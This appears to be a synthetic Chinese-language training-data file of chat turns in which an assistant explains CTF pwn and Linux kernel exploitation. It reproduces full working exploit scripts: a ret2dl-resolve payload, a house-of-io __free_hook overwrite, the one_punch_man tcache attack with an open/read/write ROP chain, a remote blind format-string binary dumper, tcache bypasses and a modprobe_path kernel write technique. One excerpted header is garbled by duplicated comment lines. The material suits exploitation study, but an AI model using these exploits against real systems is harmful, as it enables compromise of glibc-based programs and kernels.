#fake_sym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
fake_sym = p32(0) + p32(fake_st_value) + p32(0) + p32(0x112)

payload2 = 'AAAA'
payload2 += p32(plt_1)
payload2 += p32(fake_link_map)
payload2 += p32(index_offset)
payload2 += 'AAAA'   #ret_addr 返回地址
payload2 += p32(base_stage + 80)
#payload2 += 'aaaa'
payload2 += 'aaaa'
payload2 += fake_reloc # (base_stage+28)的位置
payload2 += 'B' * align
payload2 += fake_sym # (base_stage+36)的位置
payload2 += 'A' * (100 - len(payload2))
raw_input('wait!!!')
r.sendline(payload2)
r.interactive()

#目标：0x8fa05 : cmp byte ptr [eax], dl ; pop edi ; ret
#>>> hex(elf.symbols['__libc_start_main'])
#'0x18540'
#fake_st_value=0x8fa05-0x18540=0x774C5
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「leak heap」。
资料来源：Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md；主题：CISCN2024 华南赛区 my_heap Writeup；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
# leak heap
add(1,0x50)
dele()
show()
ru("the data")
r(1)
heap_addr = 0
for i in range(5):
    val = u8(r(1))
    heap_addr += (val ^ (0x99+i)) * 0x100**i
heap_addr = heap_addr * 0x1000


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Kernel/xhlj2021-easykernel/start.sh` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Kernel/xhlj2021-easykernel/start.sh`

分类：kernel

语言：bash

训练用代码片段：
```bash
#!/bin/bash
qemu-system-x86_64  \
    -m 128M \
    -cpu kvm64,+smep \
    -kernel ./bzImage \
    -initrd ./rootfs.cpio \
    -nographic \
    -s \
    -append "console=ttyS0 kaslr root=/dev/ram0 init=/init debug loglevel=8"
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `其它漏洞/格式化字符串/blind/dump.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`其它漏洞/格式化字符串/blind/dump.py`

分类：misc_vuln

语言：python

环境/依赖线索：
- `import time`
- `from pwn import *`
- `import binascii`

函数/封装：
- `leak`

利用主题关键词：
- seccomp/orw
- stack/rop

关键常量/偏移样例：
`0x400000`, `0x8048000`

训练用代码片段：
```python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import time
from pwn import *
import binascii

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
ic = lambda: io.close()
l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

io = remote("TARGET_IP",9999)
context.log_level="debug"

arch=True
begin=0x400000
bin = b""

if arch:
    context.arch = "amd64"
    begin=0x400000
else:
    context.arch = "i386"
    begin=0x8048000
bin = b""
pad = b"blind fmt\n"

def leak(addr):
    payload = b"%7$sdump"
    if arch:
        payload+=p64(addr)
    else:
        payload+=p32(addr)
    r()
    sl(payload)
    print("leaking:", hex(addr))
    data=ru(b"dump",drop=True)
    return data

try:
    while True:
        data = leak(begin)
        begin += len(data)
        bin += data
        if len(data)==0:
            begin+=1
            bin += b"\x00"
except:
    print("finish")
finally:
    print("[+]",len(bin))
    with open("dump_bin","wb") as f:
        f.write(bin)
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「UAF」。
资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### UAF

Use After Free 指的就是释放后使用：当一个指针所指向的指针块被释放掉之后可以再次被使用，但是这是有要求的。

当一个内存被释放后重新使用有如下几种情况：

+ `chunk`被释放之后，其对应的指针被设置为`NULL`，如果再次使用它，程序就会崩溃。
+ `chunk`被释放之后，其对应的指针未被设置为`NULL`，如果在下一次使用之前没有代码对这块内存进行修改，那么再次使用这个指针时程序很有可能正常运转。
+ 内存块被释放后，其对应的指针没有被设置为`NULL`，但是在它下一次使用之前，有代码对这块内存进行了修改，那么当程序再次使用这块内存时，就很有可能会出现奇怪的问题。

在堆中 Use After Free 一般指的是后两种漏洞，我们一般称被释放后没有被设置为`NULL`的内存指针为**dangling pointer（悬空指针、悬垂指针）**

未被初始化过的内存指针称为野指针

+ 示例

```c
#include <stdio.h>

int main(){
    char *p1;
    p1=(char *)malloc(sizeof(char)*0x10);
    memcpy(p1,"hello",10);
    printf("p1 addr:%x,%s\n",p1,p1);
    free(p1);
    char *p2;
    p2=(char*)malloc(sizeof(char)*0x10);
    memcpy(p2,"world",0x10);
    printf("p2 addr:%x,%s\n",p2,p1);
    return 0;
}
```

如上代码，指针`p1`申请`0x10`内存，打印其地址，值。

然后释放`p1`

指针`p2`申请同样大小的内存，打印`p2`的地址，`p1`指针指向的值

`p1`与`p2`地址相同，`p1`指针释放后，`p2`申请相同的大小的内存，操作系统会将之前给`p1`的地址分配给`p2`，修改`p2`的值，`p1`也被修改了。

由此我们可以知道：

1. 在`free`一块内存后，接着申请大小相同的一块内存，操作系统会将刚刚free掉的内存再次分配，根本原因是`dlmalloc`

当应用程序调用`free()`释放内存时，如果内存块小于`256kb`，`dlmalloc`并不马上将内存块释放回内存，而是将内存块标记为空闲状态。这么做的原因有两个：一是内存块不一定能马上释放回内核（比如内存块不是位于堆顶端），二是供应用程序下次申请内存使用（这是主要原因）。当`dlmalloc`中空闲内存量达到一定值时`dlmalloc`才将空闲内存释放回内核。如果应用程序申请的内存大于`256kb`，`dlmalloc`调用`mmap()`向内核申请一块内存，返回返还给应用程序使用。如果应用程序释放的内存大于`256kb`，`dlmalloc`马上调用`munmap()`释放内存。`dlmalloc`不会缓存大于`256kb`的内存块，因为这样的内存块太大了，最好不要长期占用这么大的内存资源。

2. 通过`p2`能够操作`p1`，如果之后`p1`继续被使用（use after free），则可以达到通过`p2`修改程序功能等目的。

常见利用：

+ 存在show的时候，可以考虑使用 unsorted bin配合 uaf 输出main_arena的地址，计算libc
+ 存在edit的时候，可以考虑使用大部分攻击手法
+ 无edit的时候，考虑double free

纯粹的uaf漏洞并无法进行攻击。

+ off-by-one

特殊的堆溢出漏洞，一字节溢出

+ off-by-null

off-by-null的利用比较苛刻，一般仅能选择使用 small bin的合并进行overlap。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「add」。
资料来源：Heap/tcache attack/ciscn2024_华南赛区-myheap/WP.md；主题：CISCN2024 华南赛区 my_heap Writeup；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### add

```c
puts("which one you choose?");
idx = read_int();
if (idx == 1) {
    printf("size:");
    size = read_int();
    ptr = malloc(size);
} else {
    malloc(0x4f0);
}
```

`idx == 1` 时会把新 chunk 地址保存到全局 `ptr`；`idx != 1` 时只申请一个 `0x4f0` chunk，但不会更新 `ptr`。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「绕过tcache」。
资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## 绕过tcache

glibc 2.26以后的 bins 存在 tcache bins

让释放的`chunk`不进入tcache的方法

需要绕过tcache一般是因为，`calloc`并不从tcache中取`chunk`，而是从fastbin中取`chunk`。

另一个是因为高版本的glibc中对于tcache的double free检查严格，所以我们需要进行绕过。

+ 释放不在 tcache 大小范围的`chunk`。

tcache中最大`chunk`大小为0x410

```
add_chunk(0, 0x410)
add_chunk(1, 0x10)
delete_chunk(0)
```

+ 释放相同大小的 chunk 将 tcache 填满

```
#申请7个相同大小的chunk用来填满tcache
for i in range(7):
    add(i,0x68)

add(7, 0x68)

#释放7个chunk填满tcache
for i in range(7):
    dele(i)

dele(7)
```

+ 如果题目限制了 free 次数那么需要通过 tcache dup 再 malloc 3 次将 counts 对应位置置为 -1 来绕过 tcache 。

因为counts为-1，转为无符号数则大于等于7所以释放的chunk不会再进入tcache。

```
add_chunk(0, 0x68)

delete_chunk(0)
delete_chunk(0)
add_chunk(0, 0x68)
add_chunk(0, 0x68)
add_chunk(0, 0x68)
#进入fastbin的chunk
delete_chunk(0)
```

+ 控制 tcache_perthread_struct 从而控制 counts 实现绕过 tcache。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/payloads/Payload.h` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/payloads/Payload.h`

分类：kernel

语言：c

环境/依赖线索：
- `#include <cstdint>`
- `#include <vector>`
- `#include <optional>`

利用主题关键词：
- io-file/fsop
- seccomp/orw

训练用代码片段：
```c
/*
 * Copyright 2025 Google LLC
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

/**
 * @file Payload.h
 * @brief Defines the Payload class for managing a contiguous block of memory.
 */
#pragma once

#include <cstdint>
#include <vector>
#include <optional>

/**
 * @defgroup payloads_classes Payloads Classes
 * @brief Classes for generating and managing payloads.
 */

/**
 * @ingroup payloads_classes
 * @class Payload
 * @brief Manages a dynamic, contiguous block of memory, tracking used sections.
 *
 * This class provides functionalities to allocate, reserve, release, and write
 * data to a buffer. It maintains a separate tracking mechanism to mark which
 * bytes in the buffer are considered "used" or "reserved". It also offers
 * methods to find empty contiguous blocks for new data.
 */
class Payload {
private:
    std::vector<uint8_t> data_;      ///< @brief The underlying data buffer.
    std::vector<bool> used_bytes_;   ///< @brief Tracks which bytes in `data_` are marked as used.
    uint64_t used_size_;             ///< @brief The highest offset that has been marked as used.

public:
    /**
     * @brief Constructs a new Payload object with a specified size.
     *
     * Initializes the internal data buffer and a corresponding `used_bytes`
     * tracking vector, marking all bytes as free initially.
     *
     * @param size The total size in bytes for the payload buffer.
     */
    Payload(int size);

    /**
     * @brief Copy constructor for the Payload class.
     *
     * Creates a new Payload object by deep-copying the data, used bytes map,
     * and used size from another Payload instance.
     *
     * @param other The Payload object to copy from.
     */
    Payload(const Payload& other);

    /**
     * @brief Returns the total size of the internal data buffer.
     * @return The total size of the buffer in bytes.
     */
    size_t Size();

    /**
     * @brief Gets a reference to the raw internal data vector.
     * @warning Modifying this vector directly can lead to inconsistencies with `used_bytes_`.
     * @return A reference to the underlying `std::vector<uint8_t>` data buffer.
     */
    std::vector<uint8_t>& GetData();

    /**
     * @brief Returns a copy of the data that is currently marked as "used".
     * @return A new `std::vector<uint8_t>` containing the data from the beginning
     * of the buffer up to `used_size_`.
     */
    std::vector<uint8_t> GetUsedData() const;

    /**
     * @brief Checks if a specified range of bytes is free (not marked as used).

# ... 中间内容省略，保留关键利用片段 ...

     * @param throws If true, an ExpKitError is thrown if the range is not free
     * @return `true` if the entire range is free and within bounds, `false` otherwise.
    bool CheckFree(uint64_t offset, uint64_t len, bool throws = false);
     * This method checks if the specified range is free. If so, it marks the
     * @throws ExpKitError if the range is not free or out of bounds.
     * Marks the specified range of bytes as free. If the released block was
     * @throws ExpKitError if the space is not free or out of bounds.
     * @throws ExpKitError if the space is not free or out of bounds.
     * @throws ExpKitError if the space is not free or out of bounds.
     * @throws ExpKitError if the space is not free or out of bounds.
     * @throws ExpKitError if the space is not free or out of bounds.
     * @throws ExpKitError if the space is not free or out of bounds.
     * Searches for a free block starting from `min_offset`, respecting optional alignment.
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「AAW（RIP控制的简化版本）」。
资料来源：Kernel/QWB2018-core/tty_struct.md；主题：tty_struct；分类：kernel。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### AAW（RIP控制的简化版本）

如果只需要在任意地址写入任意值（AAW），比完全控制RIP更简单。

当调用`/dev/ptmx`的`ioctl()`时，你可以控制一些寄存器的值。具体来说，你可以将任意的4字节值作为`ioctl()`的第2个参数（`RBX, RCX, RSI`可控），将任意的8字节值作为第3个参数（`RDX, R8, R12`可控）。所以如果你找到`mov DWORD[rdx], rsi`这样的gadget，就可以在任意地址写入任意4字节值。通过重复操作，可以实现任意地址写入。如果禁用了`STATIC_USERMODEHELPER`，这足以通过覆盖`modprobe_path`来获取root权限（详见modprobe_path.md）。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「pwndbg」。
资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### pwndbg

```shell
vmmap #查看进程的内存布局
heap #查看所有堆
bins #查看所有bin
heap -v #查看堆块的详细信息
vis #可视化堆
arena #显示arena的详细信息
x/32gx &main_arena #查看main_arena上的值
call malloc_stats() #打印malloc分配的内存
p malloc(0x100) #打印分配的堆块
heap
heap -v
heapbase #查看堆的起始地址
heapinfo #显示堆的信息。打印当前线程arena的堆信息
bins #查看bins
fastbins
smallbins
unsortedbin
tcachebins
parseheap #显示堆结构
vis #解析并打印堆布局
info threads #多线程调试
tracemalloc #提示所有操作堆的地方
arena #
arenas #显示所有arena的基本信息
arenainfo #好看的显示所有arena的信息
p &__free_hook #查看某个函数的真实地址
p *__free_hook #查看某个函数的指向
magic #查看常见利用点
tracemalloc on #启用内存分配跟踪，记录 malloc/free 调用。
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「函数表：pipe_buf_operations」。
资料来源：Kernel/2022ciscn-cactus/wp.md；主题：CISCN 2022 西南赛区半决赛 cactus WP；分类：kernel。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 函数表：pipe_buf_operations

```c
struct pipe_buf_operations {
    int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);
    void (*release)(struct pipe_inode_info *, struct pipe_buffer *);
    bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);
    bool (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};
```

重点关注 `release` 指针。关闭管道两端后，管道会被释放，`pipe_buffer` 也会被释放，调用路径为：

```text
free_pipe_info -> pipe_buf_release
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `其它漏洞/整数溢出/cpu.s` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`其它漏洞/整数溢出/cpu.s`

分类：misc_vuln

语言：asm

利用主题关键词：
- seccomp/orw
- stack/rop

训练用代码片段：
```asm
section .data
    msg db "Learn the assembly instructions", 0

section .bss
    exec_mem resb 4096

section .text
    global _start

extern setbuf
extern printf
extern read
extern system

_start:
    ; 初始化
    ; 设置 stdin、stdout 和 stderr 为无缓冲模式
    mov rdi, 0      ; stdin
    call setbuf
    mov rdi, 1      ; stdout
    call setbuf
    mov rdi, 2      ; stderr
    call setbuf

    ; 打印提示信息
    mov rdi, msg
    call printf

    ; 读取输入到 exec_mem
    mov rdi, 0      ; stdin
    mov rsi, exec_mem
    mov rdx, 2      ; 读取 2 字节
    call read

    ; 调用 exec_mem 中的函数
    mov rdi, exec_mem
    call rdi

    ; 比较 a 和 b
    mov rdi, 20     ; a
    mov rsi, 30     ; b
    cmp rdi, rsi
    jl less_than

    ; 调用 system("/bin/sh")
    mov rdi, 0      ; "/bin/sh" 的地址
    call system

less_than:
    ; 打印 "Learn the assembly instructions"
    mov rdi, msg
    call printf

    ; 退出程序
    mov rax, 60     ; sys_exit
    xor rdi, rdi    ; 返回码 0
    syscall
```

其它漏洞/整数溢出/cpu.s

其它漏洞/整数溢出/cpu.s


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「2. 一次任意地址写」。
资料来源：Heap/2024ylb-ezheap/writeup.md；主题：2024ylb-ezheap；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 2. 一次任意地址写

`edit_chunk` 不是真正编辑某个 chunk，而是读取 8 字节地址，然后执行：

```c
*(uint32_t *)addr = 0xa2c2a;
```

这给了我们一次 4 字节任意地址写。glibc 2.31 中，默认 `mp_.tcache_bins = 64`，所以 0x510 这种大 chunk 不会进入 tcache。利用这次写把 `mp_.tcache_bins` 改大：

```python
mp_ = libc_base + 0x1EC280 + 0x50
edit(p64(mp_))
```

`mp_ + 0x50` 对应 `tcache_bins` 字段。写入大值后，0x510 chunk 的 tcache index 也会被认为合法。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「2. 链表删除造成堆布局与泄露机会」。
资料来源：IO-FILE/2025hgame hit list/WP.md；主题：2025 HGame - Hit list Writeup；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 2. 链表删除造成堆布局与泄露机会

delete 按 `index` 查找节点并释放：

```c
free(node->info);
free(node);
```

删除后会把后续节点的 `index--`，因此多次 `delete(0)` 可以持续删除当前链表头。配合 add/delete 的顺序，可以让 tcache、unsorted bin、节点块和内容块形成可控复用，从而利用 `show` 泄露残留元数据。

---


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Heap/tcache attack/house of io/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Heap/tcache attack/house of io/exp.py`

分类：heap

语言：python

环境/依赖线索：
- `from pwn import *`

函数/封装：
- `add_chunk`
- `delete_chunk`
- `edit_chunk`
- `show_chunk`

利用主题关键词：
- heap/tcache

关键常量/偏移样例：
`0x240`, `0x410`, `0xFFF`, `0x3afca0`

训练用代码片段：
```python
#!/bin/python3
from pwn import *

elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
p = process([elf.path])

def add_chunk(index, size):
    p.sendafter("choice:", "1")
    p.sendafter("index:", str(index))
    p.sendafter("size:", str(size))

def delete_chunk(index):
    p.sendafter("choice:", "2")
    p.sendafter("index:", str(index))

def edit_chunk(index, content):
    p.sendafter("choice:", "3")
    p.sendafter("index:", str(index))
    p.sendafter("length:", str(len(content)))
    p.sendafter("content:", content)

def show_chunk(index):
    p.sendafter("choice:", "4")
    p.sendafter("index:", str(index))

add_chunk(0, 0x410)
add_chunk(1, 0x10)
delete_chunk(0)
show_chunk(0)
libc.address = u64(p.recvuntil(b'\x7F')[-6:].ljust(8, b'\x00')) - 0x3afca0
info("libc base: " + hex(libc.address))

add_chunk(0, 0x240)
delete_chunk(0)
delete_chunk(0)
add_chunk(0, 0x240)
show_chunk(0)

heap_base = u64(p.recvuntil((b'\x55', b'\x56'))[-6:].ljust(8, b'\x00')) & ~0xFFF
info("heap base: " + hex(heap_base))

edit_chunk(0, p64(heap_base + 0x10))

add_chunk(0, 0x240)
add_chunk(0, 0x240)

delete_chunk(0)
add_chunk(0, 0x240)
edit_chunk(0, p8(7) * 64 + p64(libc.sym['__free_hook']) * 64)

add_chunk(0, 0x50)
edit_chunk(0, p64(libc.sym['system']))

edit_chunk(1, b"/bin/sh\x00")
delete_chunk(1)

# gdb.attach(p)

p.interactive()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Heap/tcache attack/Hitcon-CTF2019-one_punch_man/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Heap/tcache attack/Hitcon-CTF2019-one_punch_man/exp.py`

分类：heap

语言：python

环境/依赖线索：
- `from pwn import *`

函数/封装：
- `Add`
- `BackDoor`
- `Delete`
- `Edit`
- `Show`
- `exp`

利用主题关键词：
- heap/tcache
- uaf/double-free
- seccomp/orw
- stack/rop

关键常量/偏移样例：
`0x101`, `0x120`, `0x217`, `0x260`, `0x300`, `0x400`, `0x850`, `0x44b0`, `0x45216`, `0x4526a`, `0xf02a4`, `0xf1147`, `0x3c4b20`, `0x71e000`, `0x902ca0`, `0x555555559000`

训练用代码片段：
```python
#coding=utf-8
from pwn import *
context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./one_punch')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    p = process('./one_punch')

def Add(idx,name):
    p.recvuntil('> ')
    p.sendline('1')
    p.recvuntil("idx: ")
    p.sendline(str(idx))
    p.recvuntil("hero name: ")
    p.send(name)

def Edit(idx,name):
    p.recvuntil('> ')
    p.sendline('2')
    p.recvuntil("idx: ")
    p.sendline(str(idx))
    p.recvuntil("hero name: ")
    p.send(name)

def Show(idx):
    p.recvuntil('> ')
    p.sendline('3')
    p.recvuntil("idx: ")
    p.sendline(str(idx))

def Delete(idx):
    p.recvuntil('> ')
    p.sendline('4')
    p.recvuntil("idx: ")
    p.sendline(str(idx))

def BackDoor(buf):
    p.recvuntil('> ')
    p.sendline('50056')
    sleep(0.1)
    p.send(buf)

def exp():
    #leak heap
    for i in range(7):
        Add(0,'a'*0x120)
        Delete(0)
    Show(0)
    p.recvuntil("hero name: ")
    heap_base = u64(p.recvline().strip('\n').ljust(8,'\x00')) - 0x850
    log.success("[+]heap base => "+ hex(heap_base))
    #leak libc
    Add(0,'a'*0x120)
    Add(1,'a'*0x400)
    Delete(0)
    Show(0)
    p.recvuntil("hero name: ")
    libc_base = u64(p.recvline().strip('\n').ljust(8,'\x00')) - (0x902ca0-0x71e000)
    log.success("[+]libc base => " + hex(libc_base))
    #
    for i in range(6):
        Add(0,'a'*0xf0)
        Delete(0)
    for i in range(7):
        Add(0,'a'*0x400)
        Delete(0)
    Add(0,'a'*0x400)
    Add(1,'a'*0x400)
    Add(1,'a'*0x400)
    Add(2,'a'*0x400)
    Delete(0)#UAF
    Add(2,'a'*0x300)
    Add(2,'a'*0x300)
    #agagin
    Delete(1)#UAF
    Add(2,'a'*0x300)
    Add(2,'a'*0x300)
    Edit(2,'./flag'.ljust(8,'\x00'))
    Edit(1,'a'*0x300+p64(0)+p64(0x101)+p64(heap_base+(0x000055555555c460-0x555555559000))+p64(heap_base+0x1f))

    #trigger
    Add(0,'a'*0x217)

    Delete(0)
    Edit(0,p64(libc_base+libc.sym['__malloc_hook']))
    #gdb.attach(p,'b calloc')
    Add(0,'a'*0xf0)

    BackDoor('a')
    #mov eax, esi ; add rsp, 0x48 ; ret
    #magic_gadget = libc_base + libc.sym['setcontext']+53
    # add rsp, 0x48 ; ret
    magic_gadget = libc_base + 0x000000000008cfd6
    payload = p64(magic_gadget)

    BackDoor(payload)

    p_rdi = libc_base + 0x0000000000026542
    p_rsi = libc_base + 0x0000000000026f9e
    p_rdx = libc_base + 0x000000000012bda6
    p_rax = libc_base + 0x0000000000047cf8
    syscall = libc_base + 0x00000000000cf6c5
    rop_heap = heap_base + 0x44b0

    rops = p64(p_rdi)+p64(rop_heap)
    rops += p64(p_rsi)+p64(0)
    rops += p64(p_rdx)+p64(0)
    rops += p64(p_rax)+p64(2)
    rops += p64(syscall)
    #rops += p64(libc.sym['open'])
    #read
    rops += p64(p_rdi)+p64(3)
    rops += p64(p_rsi)+p64(heap_base+0x260)
    rops += p64(p_rdx)+p64(0x70)
    rops += p64(p_rax)+p64(0)
    rops += p64(syscall)
    #rops += p64(libc.sym['read'])
    #write
    rops += p64(p_rdi)+p64(1)
    rops += p64(p_rsi)+p64(heap_base+0x260)
    rops += p64(p_rdx)+p64(0x70)
    rops += p64(p_rax)+p64(1)
    rops += p64(syscall)
    Add(0,rops)
    p.interactive('$ xmzyshypnc')

exp()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「原理」。
资料来源：stack.md；主题：栈利用；分类：stack。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 原理

ret2text，即通过控制程序执行流执行程序本身已有的代码（.text段），是一种较为广义的描述。在这种攻击方法中，攻击者可以控制程序执行若干不相邻的代码段（即gadgets），这就是我们常说的ROP（Return-Oriented Programming）。

32位程序和64位程序 pwn 中的差别主要体现在调用约定的不同。

调用约定定义了函数调用时参数的传递方式、返回值的传递方式以及调用者和被调用者之间的栈管理。

函数使用什么样的调用约定则由操作系统和编译器决定。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「tcache key 绕过」。
资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### tcache key 绕过

自 glibc2.29 版本起 tcache 新增了一个 key 字段，该字段位于 chunk 的 bk 字段，值为 tcache 结构体的地址，若 free() 检测到 `chunk->bk == tcache` 则会遍历 tcache 查找对应链表中是否有该chunk。最新版本的一些老 glibc （如新版2.27等）也引入了该防护机制。

由于 tcache 用的是 fd 字段所在地址，因此可以通过泄露 tcache key 来泄露堆地址。

glibc-2.34 开始，tcache 的 key 不再是 `tcache_pthread_struct` 结构体地址，而是一个随机数 `tcache_key` ，因此不能通过 key 泄露堆地址。

```c
// glibc-2.33
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;

